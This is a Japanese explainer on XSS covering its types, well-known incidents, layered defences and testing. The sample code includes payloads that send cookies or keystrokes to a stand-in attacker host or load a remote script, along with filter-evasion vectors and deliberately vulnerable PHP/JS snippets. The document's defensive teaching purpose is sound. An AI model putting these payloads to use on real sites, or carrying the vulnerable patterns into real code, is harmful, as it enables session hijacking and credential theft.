クロスサイトスクリプティング (XSS) は、Web アプリに悪意のあるスクリプトを注入し、それを別のユーザのブラウザ上で実行させる脆弱性。攻撃の本質は「サイトが本来信頼するオリジン (Same-Origin Policy の内側) で攻撃者のコードを動かす」点にある。境界の外から殴るのではなく、境界の中に入って同じ権限で動くため、SOP は何の保護も提供しない。本稿では 3 タイプの分類 / 実例コード / Samy ワーム・Magecart の事件 / 出力エスケープ・CSP・HttpOnly・Trusted Types による多層防御まで通しで扱う。
XSS とは何か — ブラウザの信頼境界を突破する #
ブラウザのセキュリティモデルの根幹は Same-Origin Policy (SOP)。同じ origin (scheme + host + port) に属するスクリプト同士は互いを自由に読み書きできるが、異なる origin のスクリプトは互いを操作できないというルール。
XSS の致命性は、攻撃者のコードを 被害サイトのオリジンの中側で実行させてしまう点にある。境界の外から殴るのではなく、境界の中に入って同じ権限で動くため、SOP は何の保護も提供しない。
ブラウザは同一オリジンのスクリプトにそのオリジンが持つ全ての権限を与える。XSS 成立で攻撃者は被害者の セッション / Cookie / DOM / XHR/fetch 経由の API 呼び出し など、ほぼあらゆるものにアクセスできる。「alert(1) のデモ」を軽視してはいけない理由がこれ。
なぜ "Cross-Site" と呼ばれるか #
歴史的に、初期の攻撃シナリオでは攻撃者が「別のサイト (cross-site)」に被害者を誘導し、そこに置いた仕掛けで対象サイトのスクリプトを実行させる形を取った。現在の XSS の大半は対象サイトそのものに注入する形なので命名は実態と合っていないが、慣習として残っている。CSRF (Cross-Site Request Forgery) と紛らわしいが、XSS はスクリプト実行、CSRF はリクエスト送信 と全く別物。
OWASP Top 10 における位置づけ #
XSS は OWASP Top 10 で長年 A03:2021 Injection の代表的サブカテゴリ (2017 版までは独立した A07)。SQL インジェクションと並んでインジェクション系の二大巨頭。フレームワークの自動エスケープが広まったことで「死んだ脆弱性」と評されることもあるが、後述する DOM XSS / mXSS / サードパーティ JS 経由の Magecart 攻撃などにより、現在もインシデント報告の上位にいる。
XSS の 3 タイプ #
XSS は攻撃ペイロードがどこから・どう被害者のブラウザに到達するかによって 3 つに分類される。検出方法も対策の優先度も微妙に異なる。
反射型 (Reflected XSS) #
URL のクエリパラメータや POST ボディに含まれた攻撃文字列が、サーバから返ってくる HTML にそのままエコーされ、被害者のブラウザで実行される型。攻撃者は被害者に悪意ある URL をクリックさせる必要がある。
典型シナリオ: ① 攻撃者が ?q=<script>...</script> のような URL を作る → ② メール・SNS・別サイト経由で被害者にクリックさせる → ③ サーバが q をそのまま HTML 出力する実装ならスクリプトが実行される。URL に依存するため到達範囲は狭いが、フィッシングと組み合わさると刺さりやすい。
蓄積型 (Stored XSS / Persistent XSS) #
攻撃ペイロードが サーバ側のストレージ (DB / ファイル / キャッシュ) に保存され、被害者がページを開くたびに発火する型。掲示板の投稿、商品レビュー、ユーザプロフィール、コメント欄、メッセージ機能などが典型的な侵入口。
被害者は単にサイトを通常通り閲覧するだけで攻撃を受けるため、圧倒的に危険度が高い。Samy ワームのように一度仕込まれた XSS が他ユーザのアカウントを次々と汚染し、感染を爆発的に拡げるパターンになり得る。
DOM Based XSS #
サーバの応答 HTML には何の問題もないが、クライアント側 JavaScript が DOM を操作する過程で発火する型。サーバを一切経由しないため、サーバサイドの WAF やテンプレートエンジンのエスケープでは防げない。
危険な「ソース」と「シンク」の組み合わせで発生する。
| 種別 | 代表例 |
|---|---|
| 危険なソース | location.hash, location.search, document.referrer, postMessage, localStorage |
| 危険なシンク | innerHTML, outerHTML, document.write, eval, setTimeout(string), Function(), jQuery $() の HTML 引数 |
// 悪い実装: location.hash の中身を DOM に直接埋め込む
document.getElementById('view').innerHTML = location.hash.substring(1);
// 攻撃 URL: https://victim.example/page#<img src=x onerror=alert(1)>
// → ハッシュの中身が DOM に流れ込んだ瞬間に発火SPA フレームワーク (React/Vue) でも dangerouslySetInnerHTML や v-html を使うと同じ穴を空けてしまう。
補足: Self-XSS と Blind XSS #
- Self-XSS — 被害者が自分自身のブラウザのコンソールに攻撃コードを貼り付けてしまうケース。ソーシャルエンジニアリングであって脆弱性ではない。Facebook 等の DevTools には「貼り付けるな」という警告が出る
- Blind XSS — 攻撃結果が攻撃者の画面に直接見えない蓄積型 XSS。管理画面の問い合わせ一覧でだけ発火するなど。XSS Hunter のような外部受信サービスでコールバックを集めて検出する
攻撃の仕組み — 具体例コード #
反射型の最小例 #
// search.php — エスケープなしで埋め込む
<?php
$q = $_GET['q'] ?? '';
echo "<h1>検索結果: $q</h1>"; // ★ ここが穴
# 攻撃 URL — クリックで Cookie が攻撃者サーバへ
https://victim.example/search.php?q=<script>fetch('https://attacker.example/?c='+document.cookie)</script>
蓄積型の最小例 #
掲示板アプリで投稿本文をエスケープせずに表示している場合:
// post-view.php (脆弱)
echo "<div class='comment'>" . $row['body'] . "</div>";
<!-- 攻撃者がフォームから投稿する本文 -->
<img src=x onerror="
var s = document.createElement('script');
s.src = 'https://attacker.example/payload.js';
document.body.appendChild(s);
">
→ このスレッドを開く全ユーザのブラウザで payload.js が読み込まれる
被害者は何もクリックしていない。
DOM Based の最小例 #
<!-- victim.example/profile.html -->
<div id="welcome"></div>
<script>
const name = new URLSearchParams(location.search).get('name');
document.getElementById('welcome').innerHTML = 'ようこそ ' + name + ' さん';
</script>
# 攻撃 URL: ?name=<img src=x onerror=alert(document.domain)>
# サーバの応答 HTML にペイロードは含まれない → WAF / テンプレートエスケープでは検知不可ペイロードの構築テクニック #
実環境では <script> タグや on* 属性がブロックされていることが多い。攻撃者は次のような工夫で回避を試みる。
- タグの大文字小文字混在 —
<ScRiPt>(古い WAF の正規表現対策) - 属性ベクター —
<img src=x onerror=...>,<svg onload=...>,<a href="javascript:..."> - イベントハンドラの多様化 —
onclick,onmouseover,onfocus,onerror,onload,onanimationend - エンコーディング — HTML エンティティ (
j=j)、URL エンコード、Unicode エスケープ (\u0061) - JavaScript URL —
<a href="javascript:alert(1)"> - CSS インジェクション — 古い IE の
expression()、属性セレクタによる値漏洩
ペイロード集として PortSwigger の XSS Cheat Sheet や OWASP Filter Evasion Cheat Sheet に数百のバリエーションがまとまっている。
XSS で実際にできること #
「アラートを出すだけ」のデモが多いせいで XSS を軽視する開発者が一定数いるが、実際の攻撃は次のようなことを行う。
セッション乗っ取り (Cookie 窃取) #
最も古典的かつ強力。document.cookie を攻撃者サーバに送信すれば、被害者のセッション ID をそのまま使ってログイン状態を奪える (Session Hijacking)。HttpOnly フラグが付いていない Cookie が脆弱で、現代フレームワークはデフォルトで HttpOnly を付けるが、独自実装やレガシーシステムでは抜けがちな対策。
仮装ログインフォーム #
ページ内に偽ログインフォームを innerHTML で差し込み、入力された ID/パスワードを攻撃者サーバに送信する。URL バーは正規ドメインを表示し続けるため、被害者は「正規サイトに入力した」と認識して疑わない。クレデンシャル奪取の手段としてフィッシングよりも遥かに成功率が高い。
キーロガー #
document.addEventListener('keydown', e =>
fetch('https://attacker/?k=' + e.key)
);
// クレカ入力ページ・社内システム・メール本文 — どんな入力でもリアルタイムに盗める内部 API の悪用 (XSS + CSRF バイパス) #
被害者のブラウザは正規セッション Cookie を保持しているため、攻撃スクリプトは fetch() で被害者のオリジンの任意の API を呼び出せる。CSRF トークンが要求される API でも、XSS スクリプトはトークン埋め込み HTML を読めるので CSRF 対策をすべて回避できる。送金・パスワード変更・メールアドレス変更など、被害者として実行可能な操作はすべて攻撃者の意のままになる。
ブラウザ内ボットネット (BeEF) #
BeEF (Browser Exploitation Framework) は XSS で被害者のブラウザに「フック」を仕込み、攻撃者の管理画面からリアルタイム操作する OSS。被害者ブラウザを多数同時に操って、ネットワーク内部スキャン、内部 IP 経由のサービスへの攻撃、社内 Slack / Office365 のセッション窃取などができる。ペネトレーションテストの実演でよく使われる。
ワーム (Samy 型) #
蓄積型 XSS は自己増殖型のワームに化ける可能性がある。攻撃ペイロード自体が「このプロフィールを見たユーザのプロフィールにも同じペイロードを書き込む」処理を含めば、感染は指数関数的に拡がる。2005 年の Samy ワームはまさにこのパターンで MySpace を 20 時間で停止に追い込んだ。
著名な XSS 事件 #
Samy Worm (MySpace, 2005) #
XSS ワームの歴史的事件。当時 19 歳の Samy Kamkar 氏が MySpace のプロフィール機能の蓄積型 XSS を悪用し、「彼のプロフィールを開いたユーザは Samy を友達追加し、自分のプロフィールにも同じペイロードを書き込む」ワームを公開した。約 20 時間で 100 万人以上を感染させ、MySpace は緊急停止。Samy 氏は不正アクセス禁止法違反で起訴され、3 年の保護観察と社会奉仕、コンピュータ使用制限の処分を受けた。
技術的には、CSS の background:url() 内に JS を埋め込む、innerHTML で再帰的に DOM を書き換える、フィルタを java\nscript: の改行で回避する、など複数の独創的なテクニックを組み合わせていた。XSS の破壊力を世間に知らしめた事件。
TweetDeck (2014) #
Twitter 公式クライアント TweetDeck で蓄積型 XSS が発見され、悪用ツイートが何万件も拡散した。ペイロードを含むツイートを表示したユーザのアカウントが自動的にそのツイートをリツイートする仕組みで、Samy ワームと同じパターンが Twitter スケールで起きた。Twitter は数時間でサービスを停止して修正をリリース。
Magecart 系 (British Airways / Ticketmaster, 2018) #
XSS は「自分のサイトのコードを書く時の話」と思われがちだが、現代の Web は大量のサードパーティ JS を読み込んでいる。攻撃グループ Magecart はサードパーティスクリプト (タグマネージャ・チャットウィジェット・決済ヘルパー) のサーバを侵害し、そこから配信される JS にカード情報スキミングコードを注入した。
- British Airways — 38 万件のカード情報流出。GDPR 違反で当初 £183M (約 250 億円) の罰金 (後に £20M に減額)
- Ticketmaster — チャットウィジェット経由で 4 万件以上が流出
- Newegg — 1 ヶ月にわたりカード情報がスキミングされた
<script src="https://cdn.thirdparty.example/widget.js"> を信頼している時点で、その CDN が侵害されれば自社サイトに XSS が同居したのと同じになる。これが現代の XSS の主戦場のひとつ。SRI (Subresource Integrity) でハッシュ固定が現実的な対策。
教訓 #
これらの事件に共通するのは、「フレームワークの自動エスケープを信じていれば安全」「自社のコードはちゃんと書いている」は通用しない点。古典的な「文字列連結で HTML 組み立て」型は減ったが、(a) DOM 操作経路、(b) サードパーティ JS 経路、(c) WebView や postMessage 経路など、攻撃面は逆に拡がっている。
防御策 — 多層防御 (Defense in Depth) #
XSS 防御は単一の対策で完結しない。入力検証・出力エスケープ・CSP・Cookie 属性・サニタイザ・Trusted Types を多層に組み合わせ、1 層が破れても次の層で被害を限定する。
出力エスケープ (コンテキスト別) — 最重要 #
ユーザ入力を HTML に出力する際は、出力するコンテキストに応じたエスケープを行う。
実際に試す — 下のサンドボックスにペイロードを入れ、「エスケープする」のチェックを切り替えてみよう。エスケープ ON ならただの文字列として表示され、OFF だと <img onerror> が HTML として解釈されてスクリプトが実行される (これが XSS)。描画は親ページから隔離した sandbox iframe 内で行うので安全。
| コンテキスト | エスケープ対象 |
|---|---|
| HTML 本文 | &, <, >, ", ' を文字参照化 |
| HTML 属性値 (引用符あり) | 上記 + 属性の引用符に対応 |
| HTML 属性値 (引用符なし) | スペース・タブ・改行・= なども |
| JavaScript 文字列リテラル | \, ', ", 改行, </, Unicode 制御 |
| URL コンテキスト (href/src) | javascript: スキーム禁止 + URL エンコード |
| CSS コンテキスト | expression() 禁止 + バックスラッシュエスケープ |
PHP の htmlspecialchars($s, ENT_QUOTES | ENT_HTML5, 'UTF-8')、Blade の {{ $s }} (自動)、Twig の {{ s }} (自動)、React の JSX (自動) などが標準。コンテキスト混在を避ける (HTML の中に JS を埋め込むなら両方のエスケープが必要) のがコツ。
Content Security Policy (CSP) — 最後の砦 #
ブラウザに「このページが読み込んでよいスクリプトの出所」を宣言するレスポンスヘッダ。XSS が成功してもスクリプトが実行されないようにする。
Content-Security-Policy: default-src 'self'; \
script-src 'self' https://cdn.example 'nonce-r4nd0m'; \
object-src 'none'; \
base-uri 'self'; \
frame-ancestors 'none'; \
report-uri /csp-report主な指令:
script-src 'self'— 同一オリジンのスクリプトのみ許可'unsafe-inline'を絶対に付けない — これがあると XSS 防御として無意味- nonce ベース (
'nonce-r4nd0m') または hash ベース ('sha256-...') で必要なインライン JS のみ許可 object-src 'none'— Flash/PDF 経由の脆弱性も塞ぐbase-uri 'self'—<base>タグによる URL 解決の改竄を防ぐreport-uri/report-to— 違反をサーバに送信して検知
CSP は導入時に Content-Security-Policy-Report-Only モードで運用して既存違反を洗い出してから本番適用するのが定石。
HttpOnly / SameSite Cookie #
Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax; Path=/HttpOnly で JS から document.cookie で読み出せなくなる → XSS による Cookie 窃取攻撃が無効化。SameSite (Strict / Lax) は CSRF 対策と兼用で、第三者サイトからの Cookie 送信を制限。
入力バリデーション (補助的) #
「許容する文字種・長さ・形式」を入力時点で検査する。XSS 単独の対策としては不十分 (出力時のエスケープ抜けは防げない) だが、補助的な防御層として有効。ブラックリスト方式 (危険な文字を弾く) は破られるので、ホワイトリスト方式 (許可する文字だけ通す) を基本にする。
フレームワーク自動エスケープ + 「例外」のレビュー #
現代のテンプレートエンジンはほぼ全て自動エスケープがデフォルト:
| フレームワーク | 自動エスケープ | 例外 (危険) |
|---|---|---|
| React (JSX) | {value} 自動 |
dangerouslySetInnerHTML |
| Vue | {{ value }} 自動 |
v-html |
| Angular | {{ value }} 自動 |
bypassSecurityTrustHtml() |
| Blade (Laravel) | {{ $value }} 自動 |
{!! !!} |
| Twig | 自動 | ` |
grep -rn 'dangerouslySetInnerHTML\|v-html\|{!!\||raw' で全件洗い出してレビューすれば、自動エスケープ系フレームワークの XSS の大半はカバーできる。
Trusted Types (DOM XSS の根本対策) #
Chromium 系で実装が進む Web 標準。innerHTML のような危険シンクに 文字列を直接渡すことを禁止し、サニタイズ済みオブジェクト経由でのみ許可する仕組み。
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types defaultこれを有効にすると、element.innerHTML = userInput; がランタイムエラーになり、開発者は明示的な TrustedHTML ポリシーを経由する必要が出る。DOM XSS をコードレビューではなくブラウザ側で機械的に防げる強力な機能。
サニタイザライブラリ (DOMPurify) #
ユーザ入力した HTML をそのまま表示する必要がある場合 (ブログ記事、リッチテキストエディタの出力など) は、実績のあるサニタイザを使う。
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userHtml);
element.innerHTML = clean; // 安全XSS の歴史は自前フィルタが回避されてきた歴史でもある。<script> を弾く程度の正規表現は数分で迂回される。DOMPurify のように継続的にメンテされ、CVE が出るたびに修正されているライブラリを使う。
テストと検出 #
手動テスト #
入力フィールド・URL パラメータ・HTTP ヘッダ (Referer / User-Agent) など、ユーザが影響を与えうる全てに XSS ペイロード集を投入して、応答 HTML やレンダリング結果を見る。
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
'"><script>alert(1)</script>
javascript:alert(1)
# DOM XSS は応答 HTML だけ見ても検出不可 → DevTools で実 DOM を確認する自動スキャナ #
- OWASP ZAP — OSS の動的スキャナ。アクティブスキャンモードで XSS ペイロードを総当たり
- Burp Suite — 業界標準のプロキシツール。Pro 版の Scanner は XSS 検出精度が非常に高い
- Acunetix / Netsparker — 商用スキャナ。DOM XSS も解析可能
自動スキャナは反射型・蓄積型は得意だが、DOM XSS の検出は静的解析 + ヘッドレスブラウザ実行の組み合わせが必要で、完全自動化はまだ難しい。
ソースコード静的解析 (SAST) #
ソースから「危険なソース → 危険なシンク」のデータフローを追跡。Semgrep / CodeQL / SonarQube などで XSS パターンを検出できる。フレームワークの危険関数 (dangerouslySetInnerHTML 等) の使用箇所を機械的に洗い出すのに有効。
CSP レポートと runtime detection #
本番環境で Content-Security-Policy-Report-Only を有効にすると、もし XSS が混入していた場合 (もしくは正規スクリプトが意図せず違反した場合) にレポートが届く。実環境で実際に発火した XSS の検出に唯一近づける方法。
関連する攻撃 — XSS ファミリ #
XSS と紛らわしい・近縁の攻撃を整理しておく。
| 攻撃 | 概要 |
|---|---|
| XS-Leaks (Cross-Site Leaks) | 別オリジンから「被害者が対象サイトにログインしているか」「特定リソースが存在するか」などの副次情報を漏洩。<img> ロード時間や postMessage 応答時間のサイドチャネルを使う |
| mXSS (Mutation XSS) | サニタイザを通過した HTML が、ブラウザの DOM パース時に変形 (mutation) されて新たな XSS ベクターを生み出す。<noscript> <template> <math> <svg> の中で innerHTML を介すと挙動が変わる仕様の隅をついた攻撃で、DOMPurify でさえ過去に CVE が出ている (2019, 2020, 2024) |
| XSSI (Cross-Site Script Inclusion) | 被害者のセッションを使って機密 JSON/JSONP を別オリジンから <script src="..."> で読込み、副作用を観察。応答に攻撃者が制御可能なコールバックや配列リテラルがあると漏洩。現代の API は )]}' のような prefix で対策 |
まとめ — 開発者が最低限押さえる 7 項目 #
XSS は「20 年前の脆弱性」ではなく、フォーマットを変えながら 2026 年現在も最大級の Web 脅威の一つであり続けている。フレームワークの自動エスケープで「文字列連結型 XSS」は減ったものの、DOM 操作・サードパーティ JS・WebView・postMessage など新しい攻撃面が次々と現れている。
- 出力時のコンテキスト別エスケープを最優先で習慣化する
- CSP を nonce ベースで導入し、
'unsafe-inline'を消す - HttpOnly / Secure / SameSite をセッション Cookie に必ず付ける
dangerouslySetInnerHTML/v-html/{!! !!}の使用箇所を全件レビュー- DOMPurify をリッチテキスト出力に使う (自前サニタイザは作らない)
- Trusted Types を新規プロジェクトで有効化する
- サードパーティ JS の出所を制限し、SRI (Subresource Integrity) を付ける
「自分のサイトは大丈夫」と思った瞬間に Magecart 系の事件が始まる。多層防御を継続的に保つことだけが現実的な対策である。